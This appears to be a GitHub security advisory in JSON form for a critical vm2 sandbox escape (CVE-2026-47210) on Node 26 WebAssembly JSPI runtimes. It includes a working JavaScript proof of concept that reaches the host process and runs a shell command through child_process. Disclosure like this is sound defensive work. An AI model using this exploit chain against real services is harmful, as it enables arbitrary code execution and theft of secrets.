{"ghsa_id":"GHSA-6j2x-vhqr-qr7q","cve_id":"CVE-2026-47210","url":"https://api.github.com/advisories/GHSA-6j2x-vhqr-qr7q","html_url":"https://github.com/advisories/GHSA-6j2x-vhqr-qr7q","summary":"vm2 sandbox escape via JSPI-backed Promise `.finally()` species bypass","description":"### Summary\nA sandbox escape vulnerability in `vm2` allows arbitrary code execution in the host process when untrusted code is executed with async support on runtimes exposing WebAssembly JSPI (`WebAssembly.promising` / `WebAssembly.Suspending`). In the tested configuration, a JSPI-backed Promise can reach `Promise.prototype.finally()` in a way that bypasses the expected Promise-species hardening and exposes a host-originated rejection object to attacker-controlled species logic, breaking the sandbox boundary.\n\nThis is a critical sandbox escape: any application that treats `vm2` as a security boundary may be fully compromised.\n\n### Details\n\nOn node26, JSPI-backed Promises created through `WebAssembly.promising(...)` do not behave like ordinary sandbox Promises.\n\nThat path yields a host-originated `TypeError` during JSPI processing. Inside attacker-controlled species logic reached through `.finally()`, the rejection object exposes a usable host constructor chain. In the tested environment, the rejection object's constructor path can be used to reach host `process`, which leads to arbitrary code execution in the host process.\n\nThis behavior is specific to the JSPI / `.finally()` interaction. In contrast, the corresponding `then` / `catch` paths still appeared to route through `vm2`'s expected `localPromise` machinery in my testing.\n\n### PoC\nEnvironment: node:26-bookworm\n```javascript\nconst {VM} = require(\"vm2\");\nconst vm = new VM();\nconsole.log(vm.run(`\n(()=>{let b=Uint8Array.of(0,97,115,109,1,0,0,0,1,4,1,96,0,0,2,7,1,1,109,1,102,0,0,3,2,1,0,7,7,1,3,114,117,110,0,1,10,6,1,4,0,16,0,11);WebAssembly.instantiate(b,{m:{f:new WebAssembly.Suspending(()=>WebAssembly.compileStreaming(Promise.resolve(0)))}}).then(r=>{let p=WebAssembly.promising(r.instance.exports.run)();class F{constructor(x){this.s=0;this.q=[];x(v=>{this.s=1;this.v=v;for(let i of this.q)if(i[0])i[0](v)},e=>{\n    let P=e.constructor.constructor('return process')()\n    P.mainModule.require('child_process').execSync('touch pwned');\n    this.s=2;this.v=e;for(let i of this.q)if(i[1])i[1](e)})}then(f,r){if(this.s==1)return f?f(this.v):this.v;if(this.s==2){if(r)return r(this.v);throw this.v}this.q.push([f,r]);return 0}}Object.defineProperty(F,Symbol.species,{get(){return F}});Object.defineProperty(p,'constructor',{get(){return F}});p.finally(()=>{})});return 1})()\n`));\n```\n\n### Impact\nThis is a **sandbox escape leading to arbitrary code execution in the host process**.\n\nWho is impacted:\n\n- any application using `vm2` to execute attacker-controlled JavaScript as a security boundary\n- especially Node.js runtimes exposing WebAssembly JSPI features (Node 26)\n\nPractical impact:\n\n- arbitrary command execution in the host process\n- arbitrary file read / write accessible to the host process\n- theft of secrets, tokens, credentials, and application data\n- complete compromise of services relying on `vm2` isolation","type":"reviewed","severity":"critical","repository_advisory_url":"https://api.github.com/repos/patriksimek/vm2/security-advisories/GHSA-6j2x-vhqr-qr7q","source_code_location":"https://github.com/patriksimek/vm2","identifiers":[{"value":"GHSA-6j2x-vhqr-qr7q","type":"GHSA"},{"value":"CVE-2026-47210","type":"CVE"}],"references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-6j2x-vhqr-qr7q","https://github.com/patriksimek/vm2/commit/6915fa4d9bcebd47b9a4f39a1adc1aa94ef6ffc6","https://github.com/patriksimek/vm2/releases/tag/v3.11.4","https://nvd.nist.gov/vuln/detail/CVE-2026-47210","https://github.com/advisories/GHSA-6j2x-vhqr-qr7q"],"published_at":"2026-05-29T17:51:05Z","updated_at":"2026-06-12T20:55:09Z","github_reviewed_at":"2026-05-29T17:51:05Z","nvd_published_at":"2026-06-12T15:16:29Z","withdrawn_at":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"vm2"},"vulnerable_version_range":"<= 3.11.3","first_patched_version":"3.11.4","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8},"cvss_v4":{"vector_string":null,"score":0.0}},"cwes":[{"cwe_id":"CWE-913","name":"Improper Control of Dynamically-Managed Code Resources"}],"credits":[{"user":{"login":"RealHurrison","id":43513000,"node_id":"MDQ6VXNlcjQzNTEzMDAw","avatar_url":"https://avatars.githubusercontent.com/u/43513000?v=4","gravatar_id":"","url":"https://api.github.com/users/RealHurrison","html_url":"https://github.com/RealHurrison","followers_url":"https://api.github.com/users/RealHurrison/followers","following_url":"https://api.github.com/users/RealHurrison/following{/other_user}","gists_url":"https://api.github.com/users/RealHurrison/gists{/gist_id}","starred_url":"https://api.github.com/users/RealHurrison/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/RealHurrison/subscriptions","organizations_url":"https://api.github.com/users/RealHurrison/orgs","repos_url":"https://api.github.com/users/RealHurrison/repos","events_url":"https://api.github.com/users/RealHurrison/events{/privacy}","received_events_url":"https://api.github.com/users/RealHurrison/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter"}],"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8},"epss":{"percentage":0.01801,"percentile":0.76804}}